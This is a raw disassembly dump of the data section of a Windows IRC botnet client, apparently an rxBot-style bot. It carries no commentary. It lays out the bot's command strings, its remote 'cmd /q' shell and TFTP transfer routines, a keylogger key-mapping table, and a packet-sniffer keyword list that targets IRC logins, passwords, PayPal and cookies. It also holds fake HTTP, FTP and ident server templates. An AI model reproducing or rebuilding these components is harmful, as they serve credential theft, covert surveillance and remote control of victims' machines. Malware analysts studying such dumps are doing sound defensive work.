aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 2 dup(0)
		db 0
byte_4355E1	db 3 dup(0)		; DATA XREF: Themida_:005476A6o
					; Themida_:0054F3BFo
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset aS1zH8m	; DATA XREF: ___:00434EA8o
					; "S1Z(	H8¬>"
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset loc_544F41+1	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
